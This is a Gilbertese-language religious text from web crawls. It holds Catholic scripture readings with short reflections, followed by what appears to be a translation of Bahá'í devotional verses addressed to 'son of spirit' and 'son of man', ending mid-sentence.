ae te tia koroboki, ba e na uota ana Boki Mote, are kanoana te Tua are E anga te Uea nakoia Iteraera. Ao e uota te Boki te berebitero ae Etira, i nanon te marae, n te bana ae korakora, man te ingabong ni karokoa te tawanou, nakoia mane ma aine ni bane ake a kona n ongo, Ao e wareka te Boki Etira, inanon te marae, n te bana ae korakora, ma te ingabong ni karokoa te tawanou, nakoia mane ma aine ni bane ake a kona n ongo; ao a bane ni kakauongo.\nE toka Etira i aon te bao te rai are kateaki i bukina. A bane n noria te koraki ngke e kauka te Boki, ba e bura i aoi ni nnena; ao a bane n teirake. E katituaraoa te Uea ae te Atua ae moan te maka; ao a bane te koraki n tabeki baia, ma ni kangai: \"Amen! Amen\" Ao a bobarki ma ni katorobubua i aontano n taromauria te Atua. Ao e karauakini warekaki Bokin ana Tua te Atua, ma ni kabaraki nanona; ao bane berebitero ae Etira ao Rewita ake a reireinia te koraki:\n\"Te bong aei, bon ana bong te Uea ae Atuara, tiaki te tai n nanokawaki ma n tang.\" Ba a bane n tang ngke a ongo taekan te Tua. E manga kangai Etira nakoia: \"Nako, amarake ni irikoia man aika marika, moi ninima aika karewerewe, ao kaonoia akana akea rekenibaia. Ba bon te bongi n toa aei ibukin ara Uea, ao tiaki te bongi n nanokawaki. Boni korakorani ana kabaia te Uea.\"\nAo a karauia te koraki Rewita ni kangai: \"Karauingkami, ba te bong ae tabu aei; tai nanokawaki.\" Ao a bane n nako te koraki, ao a amarake ma ni moi, ao a bati ni kimareirei; ba a bon ata nanon te taeka are e kaongoraeaki iai.\nTe Taramo 18: 8-11\nKaekana: A kakamaiu ana tua te Uea.\nKoron te raoiroi ana tua te Uea, E wanawana iai te nanoro. K\nA eti ana moti te Uea, E maiu te nano iai;\nE itiaki ana taeka te Uea, E ota iai te mata. K\nE raoiroi makakin te Uea, akea bibitakina.\nBon te koaua ana moti te Uea, A eti n tai nako.\nA kakawaki riki nakon te koora, Nakon te koora ae moan te itiaki;\nA karewerewe riki nkon te meri, Ao nakoni nnen te meri. K\nAlleluia, alleluia.\nI araningkami ba raou, ba I kaongoingkami ana taeka ni bane te Tama nakoiu. Alleluia.Euangkerio.\nWarekan ana Euangkerio Ruka: 10: 1-12\nE rineia riki ana aomata ake itingauni ma uoman te Uea. Ao E kanakoia ni kakauoman, ba a na rimoana nakoni kawa ma tabo nako ike E kan nako iai. Ao E kangai nakoia: \"E boni karuo nako te tai, ma a karako tani makuri. Ma ngaia ae kam na butia Uean te tai, ba E na kanakoia tani makuri nakon ana tai. Kam na nako buakoia kameanti. Tai ua bua ni mane, tai ua tianaki, tai ua kauniwae, ao tai kamaura temanna i nanon te kawai. Ngkana kam rin n te auti teuana, ao kam na kangai moa: \"Te raoi nakon te auti aei.\" Ao ngkana iai natin te raoi i nanona, ao e na tiku i aona ami raoi, ma ngkana tao akea, ao e na okiringkami. Kam na maeka n te auti arei, ao amarake ma ni moi ni baika a anganingkami, ba e riai n anganaki te tia makuri boon ana makuri. Tai kitana te auti teuana n nakon te auti teuana. N te kawa nako ike kam rini iai, ngkana kam akoaki iai, ao kam na kang baika uotaki nakoimi. Kamaiuia aoraki, ao kangai: 'Ti taea naba tanon ami kawa ae nimti waera, ba e na tiku iroumi. Ma kam na ataia ba e a roko Uean te Atua.' I bon tuangingkami, ba n te bongi ni motiki taeka, ao e na bebete riki aron totoma nakon te kawa anne.\"\nTibatiba: E boni karuo nako te tai, ma a karako tani makuri\nTariu ao maneu iai te taeka ae kakawaki ae aki toki n okiokiokiria Iesu ba te tai n te onaroka. Ba inanon te tai ao a kabonganaki iai ana karea te Atua ba a aonga reke taian ua aika bati ibukin neboan te Atua n ana tituaraoi ma ana akoi ae moan te bati nakoia ana botanaomata.Inanon te tai ao E kainnanoira Iesu ba ti na bane ngaira n tatabemanira ni makuri korakora n ana onaroka te Atua ba e aonga karuonako te tai ao ni kabaia te botanaomata. E kakawaki iroura tan tai ba ti na marurung ao ti na korakora ni karaoi tabera ba aonga ni bane ni kamaiuaki aomata nako. Uan ara makuri ao ara kakaonimaki bon te ua are ti na kaotia nakon Iesu ao ti na kamiauaki iai ba ti a tia ni kakaonimaki nakon te muioko are ti anganaki n ana onaroka te Atua. Inanon karaoan tabera n te onaroka ao ti na bon taonaki n te rawawata ma te tang ao te maraki ma ngkana ti a tia ni maiuakina te kakaonimaki ao ti na babati uotara aika bati man ara tai. Aio bon te bai ae kaman kabarabaraki n taian taramo are kangai; \"A na nako a nako n uniki aia kora ma te tang ao te rawawata; a oki a oki ma uotaia uanikai aika bati ma ngarengare ao te kimareirei.\nTi weteaki inanon maiura aio ba ti na makuri n tai nako n te onaroka ma te marurung ao te kakaonimaki ba ti aonga ni karekea uan ao kiwangan ara kekeiaki n rinnako n te Abanuea ae Karawa are kabaia iai inanon te mimitong ae akea tokina.\n- Details\n- Written by Uriam Timiti\n-\nWiki 26 Moanibong\nWarekan ana Boki te burabeti ae Takaria. 8: 1-8\nE roko irou ana taeka Uean aonaba, ni kangai: E korakora nanou ni ira tangan Tion, e urarake nanou i bukina. I a manga okira Tion, N na maeka i nanoni Ierutarem. E na aranaki Ierutarem ba te Kawa ae Kakaonimaki, ao ana maunga te Uea ba te maunga ae tabu. A na manga tekateka unimane ma unaine i nanoni maraeni Ierutarem, ma ekoia i nanoni baia i bukini maitin aia ririki. Ao a na kebo maraen te kawa irouia ataeinimane ma ataeinaine aika takakaro i nanoni marae. Ngkana tao e kamimi anne irouia nikiran te botanaomata, ao e bon aki kamimi irou. N nang kamaiua au botanaomata man abani Mainiku ma abani Maeao. N na manga kaokiia, ao a na maeka i nanoni Ierutarem. A na riki ba au botanaomata, ao N na riki ba Atuaia i nanon te eti ma te koaua.\nTe Taramo: 101: 16-21, 29, 22-23\nKaekana: E na neboaki te Uea ma mimitongina i Tion.\nA na maka aran te Uea bekan, a na maka mimitongin uean aon te aba,\nNgkana E manga katea Tion te Uea, Ba E na noraki ni mimitongina. K.\nE na ongo ana tataro teuare kuribaiaki, E na aki rawa nakon ana bubuti.\nE na koreaki aei i bukin tai aika na roko, Ba e na neboa te Atua te botanaomata ae bou. K\nE baraki te Uea n umana are i eta, E tara aon te aba mai karawa,\nba E na ongo tangia taenikai, ma ni kamaiuia akana nangi mate. K\nA na reke mwengaia natia am toro, ao a na teimatoa aia kariki i matam,\nba a na taekina aran te Uea i Tion ao neboana i Ierutarem,\nNgkana a botaki botanaomata ma abanuea, n taromauria te Uea. K\nEuangkerio\nWarekan ana Euangkerio Ruka. 9: 46-50\nE riki te kauntaeka i marenaia reirei, ba antai ae kakanato riki i buakoia. Ma E atai aia iango Iesu, ao E kaira temanna te ataei ae uarereke ni kateia i rarikina, ao E taku nakoia: \"Ane akoa te ataei ae uarereke aei i bukin arau ao e akoai; ane akoai, ao e akoa Teuare kanakoai; ba ane mangori riki i buakomi ni bane, ao boni ngaia ae kakanato.\"\nE taetae Ioane, ao e taku: \"Te Tia Reirei, ti nora temanna ba e kanakoia taimonio n aram, ao ti kan tukia, ba tiaki raora ni iririko.\" Ma E kangai Iesu nakoina: \"Tai tukia, ba ane aki kairiribai nakoimi, ao bon raomi.\nTibatiba: A na riki ba au botanaomata, ao N na riki ba Atuaia i nanon te eti ma te koaua.\nTariu ao maneu, inanon moan bakaia ara moani karo ao e tuura aonnaba ao te botanaomata te bure n riki are kamaenakoira ma te Atua ao te botanaomata. Ma e korakora ana tangira te Atua ao E baireia ba E na manga anga Natina ae te Rikitemanna ae Iesu Kristo ba E na maraki ao man tiringaki iaon te kaibangaki ni kaboira ba ti aonga ni manga natinaki ao n riki ba tan baibai ngaira ma Natina ae Iesu i Karawa. Inanon maten ao mangautin Iesu ao e a manga kabouaki aonnaba ba a na taromauria man neboa te Atua iaon ana maunga ae Tion. Iaon te maunga aio ao ti a bane n takaruea Iesu ba boni Ngaia ara Uea ao Atuara ae maka mani mimitong ae E riai n neboneboakai man taromauriaki iaoia uea nako. Inanon Iesu Kristo ao e reke te kamaiuaki irouia aomata nako ao ti a manga nora otan raneanean mimitongin te Atua are kainaomataira man roon te buakaka ao te bure. Ngaia are kabaran ara bure bon kawain reken te karatia ni kamaiu iroura are ti a karikaki ba ti nati ngaira ni koaua ao tani baibai n Abanuean te Atua i Karawa are boni ngaia mwenagara ni koaua ngkai ao n aki totoki.\nTi na takaruaea ana kamaiu te Atua nakon aonnaba ba a onga n ongo tarira ao manera ao man kamaiuaki naba. Ti na bubuti ba ti na karekea te kamaiuaki ni koaua ao ni kabuta te rongorongo ae raoiroi nako tokin aonnaba ao ni babetitoia te botanaomata n aran te Tama, te Nati ao te Tamnei ae Raoiroi. A,em","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/kccrs.org.ki\/te-maiu-ae-tabu\/kanan-tamneira?start=5","date":"2021-10-17T00:15:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323585045.2\/warc\/CC-MAIN-20211016231019-20211017021019-00576.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":4240,"character_repetition_ratio":0.044,"word_repetition_ratio":0.014,"special_characters_ratio":0.236,"stopwords_ratio":0.401,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Return\nFacebook\nZip File\nO NATIN TE TAMNEI!\nAu moa n reirei bon aei: Bwaina te nano ae e itiaki, n aakoi ao n oota, bwa e aonga nanom n riki bwa te uea n tautaeka ae mangkoa, ae e aki kona ni mate ao e teimatoa n aki tootoki.\nO NATIN TE TAMNEI!\nTe bwai ae moan te tangiraki i Matau i buakon bwaai nikabane bon te Motiraoi; tai tannako mai iai ngkana ko Tangirai, ao tai kaakeaa taekana bwa I aonga ni kaoti taekan bwaai aika a karabaaki nakoim. N ana ibuobuoki ko na noraaba ni bon oin matam ao tiaki rinanon mataia tabemwaang, ao ko na ataa oin am atatai ao tiaki rinanon aia atatai kaain rarikim. Karaua iangoa aio i nanom; bwa e na kanga arom ae e riai. Ni koaua te motiraoi bon Au bwaintangira nakoim ao kanikinaean Au tangira n aakoi. Kateia ngkanne i matam.\nO NATIN TE AOMATA!\nN rabunaki i nanon Aroarou ae aki kona n uringaki ao i nanon taai ake ngkoangkoa n aki tootoki n oin Arou, I ataa Au tangira i bukim; ai ngaia are I karikiko, I a tia ni nibwaia i aom Bannau ao ni kaota nakoim Tamaroau.\nO NATIN TE AOMATA!\nI tangira karikam, ai ngaia are I karikiko. Ai ngaia are, ibukin aei, ko na Tangirai, bwa I aonga n atonga aram ao ni kaona tamneim n tamnein te maiu.\nO NATIN AE E MAIU!\nTangirai, bwa I aonga n tangiriko. Ngkana ko aki Tangirai, e na bon aki kona n rootiko Au tangira. Ko na ataa aio, O ngkoe Au toro.\nO NATIN AE E MAIU!\nAm Bwaretaiti bon Au tangira; mwengam i karawa, te manga kaitiboaki ma Ngai. Riin iai ao tai baenikai. Aei te bwai are e a tia ni katauaki i bukim i nanon Ara abanuea i eta ao Ara mwaaka n tautaeka ae rietaata.\nO NATIN TE AOMATA!\nNgkana ko Tangirai, rairaki nako mai iroum; ao ngkana ko ukoukora Kukureiu, tai katabeko ma kukureim; bwa ko aonga ni mate Irou ao I aonga ni maiu n aki tootoki iroum.\nO NATIN TE TAMNEI!\nAkea te rau iroum ma ti ngkana ko kaakeako n tabwaninna ao ko rairaki Nakoiu; bwa e riai ibukim bwa ko na mimitong i nanon Arau, tiaki n aram; ni katuka am onimaki Irou ao tiaki iroum, kioina ngkai I tangiria bwa Nna tangiraki n ti Ngai ao I aon bwaai nikabane ake iai.\nO NATIN AE E MAIU!\nAu tangira bon Au nono; are e rin iai e mano ao n tararuaaki, ao are e tannako mai iai ni koaua e na bon bua kawaina ao e na mate.\nO NATIN TE TAEKA!\nBon Ngkoe Au nono; riin iai bwa ko aonga n maeka inanon te kamanoaki. Au tangira ane i nanom, ataia, bwa ko aonga ni Kuneai ni kaan nakoim.\nO NATIN AE E MAIU!\nNgkoe Au taura ao Otau ane iroum. Karekea mai iai ootam ao tai ukoukora riki temanna Irarikiu. Bwa I a tia ni karikiko ni kaubwai ao I a tia ni karaanga Au bwaintituaraoi nako aom.\nO NATIN AE E MAIU!\nNi bain te mwaaka I karaoiko ao ma tabonibain te korakora I karikiko; ao inanom I a tia ni nnea oioin Ootau. Rauaki iai ao tai ukoukora te bwai teuana, bwa Au mwakuri e kororaoi ao Au kaetieti e kabaebae. Tai titiraki ibukina, ke n nanououa iai.\nO NATIN TE TAMNEI!\nI karikiko ni kaubwai, ao bukin tera ngkai ko a uotiko rikaaki nakon te kainnano? I karaoiko ni kakannato, e aera ngkai ko a kamaemaeko? Man oioin te ataibwai I anganiko te maiu, e aera ngkai ko ukoukora kaotaakim mai iroun temanna riki i Rarikiu? Man tanon te tangira I buaiko; ko kangaa ni katabeko riki ma temanna? Raira am taratara bon nakoim, bwa ko aonga ni Kuneai n tei i nanom, ni mwaaka, ni korakora ao ni maiu i bon irouna.\nO NATIN TE TAMNEI!\nNgkoe Au tautaeka ao Au tautaeka e aki maamate, e aera ngkai ko maaka matem? Ngkoe Au ota ao Otau e aki kona n kamateaki, e aera ngkai ko maaka te mate? Ngkoe Mimitongiu ao Mimitongiu e aki raarai; Ngkoe Au kamwarai ao Au kamwarai e aki kona ni mane. Teimatoa ni maiu ngkanne n am tangira i Bukiu, bwa ko aonga ni Kuneai i nanon te aonnaba ni mimitong.\nO NATIN TE TAEKA!\nRaira moam Nakoiu ao kaaki taekan bwaai nako ma ti Ngai; bwa Au tautaeka ni uea e teimatoa n aki tootoki ao Ueau e aki kona ni mate. Ngkana ko ukoukora temanna riki i Rarikiu, eng, ngkana ko ukeaaba te uniweeti n aki toki, am ukeuke e na bon aki uaana.\nO NATIN TE OOTA!\nMwaninga bwaai nako ma ti Ngai ao itoman ma Tamneiu. Bon aei oioin raoi Au tua, ma ngaia are rairaki nako iai.\nO NATIN TE AOMATA!\nKo na rauaki Irou ao n aki ukoukora te tia ibuobuoki riki temanna. Bwa akea ma bon ti Ngai ae e kona n tau i bukim.\nO NATIN TE TAMNEI!\nTai butiai te baere Ti aki tangiria i bukim, an rauaki n te bwai are Ti a tia ni motikia i bukin arom, bwa bon aio te bwai ae e na raka iai arom, ngkana ko karauakiko iai\nO NATIN TE TARATARA AE E KAMIMI!\nI a tia ni ikeike nakon nanom teuana te ikeike man oin Tamneiu, bwa ko aonga n riki bwa tia Tangirai. Bukin tera ngkai ko a Kaakeaai ao ko a ukoukora am tangira riki temanna i Rarikiu?\nO NATIN TE TAMNEI!\nBwainakim Irou e rangi ni korakora, e aki kona ni mwanuokinaki. Au bwai n tituaraoi nakoim e rangi n takaburinako, e aki kona n rabunaki. Au tangira e a tia ni karaoa mwengana i nanom, e aki kona ni karabaaki. Otau e kaotaki nakoim, e aki kona n tukaki.\nO NATIN TE AOMATA!\nI aon te kai ae e raneanea mimitongina I a tia ni katinei i bukim taian uaanikai aika a bane n rianako tamaroaia, e aera ngkai ko a tannako mai iai ao ko ni karauakiko ma ake a rinano riki aroia? Ooki rikaaki ngkanne nakon are e tamaroa riki i bukim i nanon te abanuea are i eta.\n22. O NATIN TE TAMNEI!\nI a tia ni karikiko n kakannangaki, e ngae n anne ko uotiko rikaaki ni kamaemaeko. Teirake ngkanne nakon are ko karikaki i bukina.\nO NATIN AE E RIETAATA!\nI weteiko nakon ae akea tokina, e ngae n anne ko ukoukora are e kakai mate. Tera ae e karikiko bwa ko na katannakoko man Nanora are Ti tangiria ao n ukoukora nanom are ko tangiria?\nO NATIN TE AOMATA!\nTai riaon are katauam, ke ni kan bwaina te bwai are e aki tau i bukim. Aroriko i matan Moamoan Atuam, Uean te mwaaka ao te korakora.\nO NATIN TE TAMNEI!\nTai kamoamoako i aon are e kainnano, bwa I kaiririia i aon kawaina ao I nooria i nanon am mwakuri n riaboro nakoina ao ni kabwakako man nnem n aki tootoki.\nO NATIN AE E MAIU!\nKo kanga ni kona ni mwaninga oin am kaairua ao ko katabeko ma aia kaairua tabeman? Ane e karaoa aei e na kamaraiaaki Irou.\nO NATIN TE AOMATA!\nTai ikeiken aia bure tabemwaang ngkai ko teimatoa n riki bwa te tia bure naba ngkoe. Ngkana ko riaon te tua aei, ko na maraia, n aei I kaotia ma te koaua.\nO NATIN TE TAMNEI!\nKo na ataia te koaua; Teuare e tuangiia aomata bwa a na motiraoi ao ngaia e karaoa te motibuaka bon tiaki mai Irou, e ngae ngke e uota Arau.\nO NATIN AE E MAIU!\nTai bukina temanna n te bwai are ko bon aki kan bukinaki iai, ao tai taekina te bwai are ko aki kan karaoia. Aio Au tua nakoim, ko na ongotaeka nako iai.\nO NATIN TE AOMATA!\nTai rawa n anga nakon Au toro ngkana e butiiko te bwai teuana, bwa moamoana bon Moau; ko na bwainrang i Matau.\nO NATIN AE MAIU!\nTau mwiin aroarom n te bong ae e koraki imwaain teweam nakon te motikitaeka; bwa te mate, ae e roko ni kakubako, ao ko na weteaki bwa ko na kaotii bukin nako am mwakuri.\nO NATIN AE RIETAATA!\nI a tia ni karaoa te mate bwa te tia uarongorongo ae e kakukurei nakoim. E aera ngkai ko a kananokaawakiko? I karaoa te oota bwa e na ruoniko tamaroana. Bukin tera ngkai ko a rabuniko mai iai?\nO NATIN TE TAMNEI!\nMa rongorongon te oota ae e kakukurei i butimwaiko ma n taku: Kimwareirei! Nakon nanoaan Oou ae e tabu, I anoiko; teimatoa n tiku iai bwa ko aonga ni maeka i nanon te rau n aki toki.\nO NATIN TE TAMNEI!\nTamnein ae e tabu e uota nakoim te rongorongo ae e kakukurei i bukin te manga kaitiboaki; e aera ngkai ko nanokaawaki? Tamnein te korakora e kamatoako inanon Ana waaki; e aera ngkai ko a rabuniko? Ootan Moamoana e kaririko; ko na kanga ngkanne ni bua nako?\n35. O NATIN TE AOMATA!\nTai nanokaawaki ma ti ngkana ko raroa nako Mai Iroura. Tai kimwareirei ma ti ngkana ko a tabe ni kaniiko ao n Okiriira.\nO NATIN TE AOMATA!\nKimwareirei i nanon kukurein nanom, bwa ko aonga n tau ni kaitibo ma Ngai ao ni kaotaa nako Tamaroau.\n37. NATIN TE AOMATA O!\nTai buuta mai i aom Au kamwarai ae e tamaroa, ao tai kakeaa tibwangam man Au koburake n ran ae e kamiimi, bwa ko rawa n taka n aki toki.\nO NATIN AE MAIU!\nNakonako inanon Au tua i bukin Tangirau ao tai karekea nakoim te bwai are ko tangiria ngkana ko ukoukora Kakukureiau.\nO NATIN TE AOMATA!\nTai kaaki taekan Au tua ngkana ko tangira Tamaroau, ao tai mwaninga taekan Au reirei ngkana ko kan karekea Kukureiu ae e raoiroi.\nO NATIN TE AOMATA!\nE ngae ngkana ko kabutimwaakako ribuakon buburakaein te tibeiti ao n tia naba ni kabuta rababan karawa, ma e na bon aki reke naba motirawam ma ti n te ongotaeka nakon Ara tua ao te kamangori i Matara.\nO NATIN TE AOMATA!\nKatanoataa Au Waaki bwa I aonga ni kaota nakoim miterion Kakannatou ao ni kaotaa nako aom otan te aki totoki.\nO NATIN TE AOMATA!\nKamangoriko i Matau, bwa I aonga n akoiko ni kawariko. Teirake ibukin tokanikain Au Waaki, bwa ngkai ko bon mena i aon te aba ko na kona ni karekea te tokanikai.\n43. O NATIN AE E MAIU!\nMwaneweai i aon Au aonaaba, bwa I aonga n Uringko i nanon Au karawa, bwa aonga ni karauaki Matau ma matam.\nO NATIN TE KAINTOKANUEA!\nAm kakauongo bon Au kakauongo, kakauongo mai iai. Am taratara\nbon Au taratara, taratara ngkanne mai iai, bwa i nanon kabin tamneim ko na kona ni kakoaua nakon rietaatan Arou ae e tabu, ao Ngai i Nanou Nna kona ni kakoaua nakon rietaatan te karinan i bukim.\nO NATIN AE MAIU!\nUkoukora te mate ni maritire inanon Kawaiu, n rauaki ni Kukureiu ao n rangi ni karabwarabwa i bukin are I a tia ni baaireia, bwa ko aonga ni motirawa ma Ngai i aan nuun te kakannato ni uea i akuun te umwanrianna ae e mimitong.\nO NATIN TE AOMATA!\nIangoia ao rinanoia. Bon nanom ae ko tangiria bwa ko na mate i aon am kainiwene, ke ni katuua raraan maium i aontano, ni maritire i nanon Kawaiu, ao n riki bwa te tia kaotioti i bukin Au tua ao te tia katereterea Otau i aon rietan te Bwaretaiti? Karaoa am motikitaeka ae eti, O te toro!\nO NATIN TE AOMATA!\nN Tamaroau! Ni kabira iran atuum n raraam e rangi ni korakora riki i Matau nakon karikan te uniweti ao ootan aonaaba aika uoua. Kekeiaki ngkanne ni karekea aio, O te toro!\nO NATIN TE AOMATA!\nI bukin bwaai nikabane bon iai te kanikina. Kanikinaean te tangira bon te nanomwaaka i aan Au moti ao te taotaonakinnano i aan Au kataitai.\nO NATIN TE AOMATA!\nTe tia tangira ni koaua e ingainga nanona nakon te kanganga n ai aron te tia aki ongotaeka ibukin kabwaraan ana bure ao te tia burerawawata i bukin nanoangaeakina.\nO NATIN TE AOMATA!\nNgkana e aki bwakariko te karawawata inanon Kawaiu, ko na kanga n nakonako ni kawaiia naake a rauaki ni Kukureiu? Ngkana a aki rootiko kataitai inanon ingaingam ni kan kaaitiboo ma Ngai, ko na kanga ni karekea te oota n am tangira ibukin Tamaroau?\nO NATIN TE AOMATA!\nAu kabuanibwai ae e korakora bon Au kamanomano, tinanikuna bon te ai ao te rekenikai, ma nanoaana bon te oota ao te nanoanga. Ienikuriiko nako iai bwa ko aonga n riki bwa te oota ae akea tokina ao te tamnei ae e aki maamate. Aio Au kaetieti nakoim, an ira nanona.\nO NATIN TE AOMATA!\nNgkana e bwakariko te tabomoa, tai kukurei, ao ngkana e roko iroum te tekebuaka, tai nanokaawaki, bwa ni kauoua a na taonnako ao a na akea.\nO NATIN AE MAIU!\nNgkana e roko te maiu ni kainnano iroum, tai nanokaawaki; bwa ni waakinakon te tai Uean te kaubwai e na kawariko. Tai maaka te kamaemaeaki, bwa n te bong teuana ao te mimitong e na tiku iroum.\nO NATIN AE E MAIU!\nNgkana ko katurua nanom iaon te tautaeka ae e rietaata ae akea tokina ao n aki kona ni maamate, ao te maiu ae Mangkoangkoa, ao n aki tootoki, katuka taekan te tautaeka ni uea aio ae e maamate ao ae e kai mauna nako.\nO NATIN AE E MAIU!\nTai katabeaiangako ma te aonaaba aio, bwa n te ai Ti kataa te koraa, ao ma te koora Ti kataiia Ara toro.\n56. O NATIN TE AOMATA!\nKo tangira ni kan karekea te koora ao I tangiria bwa ko na inaomata mai iai. Ko taku bwa ko kaubwai ngke ko bwaibwai iai, ao I kina kaubwaim ngkana ko kaitiakiko mai iai. Ni Maiu! Aio Au atatai, ao anne bon am iango ni katautau; e na kangaa Kawaiu ni bootau ma kawaim?\nO NATIN TE AOMATA!\nAnga Kaubwaiu nakoia Au kainnano, bwa i karawa ko na kona ni kareerekei man taian bwariko aika a uauatao aika aki tae raitiitiia ao taian kaubwai ni mimitong aika a aki kona ni mamate. aika a aki mamauna mimitongiia i karawa. Ma ni Maiu! N angarake tamneim bon te bwai ae e rangi ni mimitong riki ke arona bwa ko kona n nooria ni Matau.\nO NATIN TE AOMATA!\nTe tembora iroun te aomata bon Au kaintokanuea; kaitiakia man bwaai nako, bwa ikanne Nna kabobonga Nneu ao ikanne Nna mamaeka iai.\nO NATIN AE E MAIU!\nNanom bon Mweengau; katabua ibukin Ruou. Tamneim bon Au tabo ni kaotioti; kaitiakia i bukin Kaotiotau.\nO NATIN TE AOMATA!\nKarina baim i nanon Bwanibwaniu, bwa I aonga ni kona n rierake i aom, n raneanea ao n raitiiti n ota nako.\nO NATIN TE AOMATA!\nRierake nakon Au karawa, bwa ko aonga iai ni karekea kukurein te manga kaaitibo, ao man mwangkon te mimitong ae e aki maamate nima ni kakorakoraa te wain ae akea n ai arona.\nO NATIN TE AOMATA!\nA mwaiti boong aika a tia n riaom ma ko katabeko ma am iango aika akea nanoia ao katautau aika akea uaaia. Maanra riki am tai ni matuu iaon am kainiwene? Tabeka atuum man matuum, bwa e a tia ni otirake Taai nakon katokin rietana, ni kukurei ni kaotako ma otan te tamaroa.\nO NATIN TE AOMATA!\nE a tia te ota n otanako i aom man oraitanin te Maunga ae e tabu ao tamnein te kaotaaki e a tia n ikeike inanon Tiinain nanom. Ma ngaia are, kamwaawako man rabunanimatan taian iango aika akea aaia ao rinnako inanon oon Au katawanang, tei i Matau, bwa ko aonga n tau nakon te maiu ae akea tokina ao n tau ni kaaitibo ma Ngai. N aron aei ao te mate e na aki roko iroum, ke te kua ke te kanganga.\nO NATIN TE AOMATA!\nAu aki-tootoki bon Au karikibwai, I a tia ni karikia ibukim. Karekea bwa kunnikain am tembora. Au katiteuana bon Au karaobwai; I a tia ni karaoia ibukim; kunnikainiko iai, bwa ko aonga n riki n aki tootoki bwa kaotiotan Arou ae akea tokina.\nO NATIN TE AOMATA!\nKakannatou bon Au bwaintangira nakoim, ao Rietaatau bon kanikinaean Au nanoanga nakoim. Te bwai are e tau Ibukiu akea ae e na mataata iai, ke ni kona n taekinna temanna. Ni koaua, I a tia ni kaawakinna i nanon Batau ao i nanon kaubwain Au kaetieti nako, bwa kanikinaean Au tangira n akoi nakoia Au toro ao Au nanoanga nakoia Au aomata.\nO NATIN TE OI N TAMNEI AE AKEA RABWATANA!\nAne kam na tuukaki man Tangirakiu ao tamnei a na aki rau ngkai a tabe ni Mwaneweai. Bwa iango a aki kona ni mataata Irou ke naano ni kona ni Kamaekaai.\nO NATIN TE TAMAROA!\nN Tamneiu ao n Au Akoi! N Au Nanoanga ao n Tamaroau! Bwaai nikabane ake I a tia ni kaotii nakoim ma newen te korakora, ao n tia ni koreia ibukim ma kainikorobokin te mwaaka, a bon tia ni kaineti nakon am konabwai ao mataatam, tiaki nakon Aroarou ao n tangin Bwanaau.\nO NATIIA AOMATA!\nKam aki ata bukina ngke Ti kariki ngkami nikabane man te tano ae ti te arona? Bwa akea ae e na karietaata riki iaon temanna. Karaua n iangoia n taai nako i nanomi bwa kam kanga ni karikaki. Ngkai Ti a tia ni kariki ngkami nikabane man ti te aekana te tano kam kabaeaki bwa kam na riki bwa ti teuana te tamnei, n nakonako ni waemi aika titebo, n amwarake ni wiimi ae titebo ao ni maeka n te aba ae ti te arona, bwa mai kabin nanomi, man ami beku ao ami mwakuri, kanikinaean te katiteuanaaki ao oin kamwawaan bwaai e na kaotaaki. Aio Au taeka n reirei nakoim, O kaain te runga n ota! Ongotaeka nakon au reirei bwa ko aonga ni karekea uaana ae e tabu man kain te mimitong ae e kamiimi.\nO NGKAMI NATIN TE TAMNEI!\nBon nnen Au kaubwai ngkami, bwa i nanomi I a tia ni nnei momiin Au kamiimi ao atiibu aika a kakaawaki man Au ataibwai. Kamanoi mai irouia ianena i buakoia Au toro ao mai irouia naake aki onimakina Te Atua i buakoia Au botannaomata.\nO NATIN TEUARE E TEI IRARIKIIA AKE BON AEKAKINA INANON ABANUEAN ARE BON NGAIA!\nAtaia ngkoe, bwa I a tia ni kakiaa nakoim boiararan nako te katabuaki, I a tia ni kaotii n tabwaniniia nakoim Au taeka, I a tia ni kakororaoia rinanom Au kakabwaia ao I a tia n tangiria ibukim te bwai are I a tia n rineia bon Ibukiu. An rauaki ngkanne ma are I kukurei iai ao anga am kakaaitau Nakoiu.\nO NATIN TE AOMATA!\nKorei bwaai nikabane ake Ti a tia ni kaotii nakoim ma ingken te ota iaon buatuan tamneim. Ngkana e aki mena aio inanon korakoram, ao karaoa ngkanne am ingke bwa oin nanom. Ngkana aio ko aki kona ni karaoia, ao an koroboki n te ingke are e uraura are e a tia ni waanako inanon Kawaiu. Ni koaua, e karewerewe riki aio Irou nakon bwaai nikabane, bwa e aonga otana n teimatoa n aki toki.\nO NGKAMI AOMATA AIKA IAI AIA IANGO N ATAIA AO TANINGAIA N ONGO!\nAna moa ni weewete Teuare E tangiraki bon aei: O ngkoe te naitengkare n tamnei! Tai tiku n te tabo teuana ma ti n onarokan te rooti n tamnei. O ngkoe Ana tia uarongorongo te Toromon n tangira! Tai ukoukora te kamanomano teuana ma ti iroun te Tiebwa n rangin tangiraki, ao O te binikiti ae e aki maamate! Tai maeka n te tabo teuana ma ti ni maungan te kakaonimaki. Ikanne bon am tabo ni maeka, ngkana iaon bainikiban tamneim ko na kiba i eta nakon abanuean te aki tootoki ao ni ukoukora karekean am kouru.\nO NATIN TE TAMNEI!\nTe mannikiba e ukoukora ngaona; te naitengkaren tamaroan te rooti; ao mannikiba akekei, nanoia aomata, n rauaki ma te bubuntano ae e na taonnako, a tia ni kararoaiia nako man ngaoia ae e maiu n aki toki, ao ma mataia n rairaki nakon bokabokan te aki tatabeakin ao a kamwawaaki ni mimitongin te kaaniaki n tamnei. Ai kananoangara! Ai kaminora ma ni kanokaawaki; ibukin ti tekuona te mwangko ae e onrake, a tia n rairaki nako man naon marawa aika a uti are te Kabanea n Rietaata, ao n tiku n raroa nako man oraitanin te raneanea.\nO RAARAOU!\nInanon onarokan nanom unika te akea ma ti rootin te tangira, ao man naitengkare te itangitangiri ao te tangiraki tai kamatanaa am tautau. Nabenabea te iraorao ma naake a etieti ao kaaki te itoman ma naake a buakaka.\nO NATIN TE MOTIRAOI!\nTe tabo ra are e na nako iai te tia tangira ma bon ti nakon aban ana tangira? Ao te tia ukeuke ra ae e kona ni kunea te rau ngkana e raroa\nnako ma nanona are e tangiria? Iroun te tia tangira ni koaua te manga kaitiboaki bon te maiu, ao te raurenako bon te mate. Akea te taotaonakinnano ni bwanibwanna ao akea te rau i nanona. E mwaiti te maiu ae e na kaakeai ibukin kawaekoaakina nakon mwengan ana tangira.\nO NATIN TE BUBUNTANO!\nNi koaua I kangai nakoim: Mai buakoia aomata nako te kabanea n aki tatabeakin bon teuare e 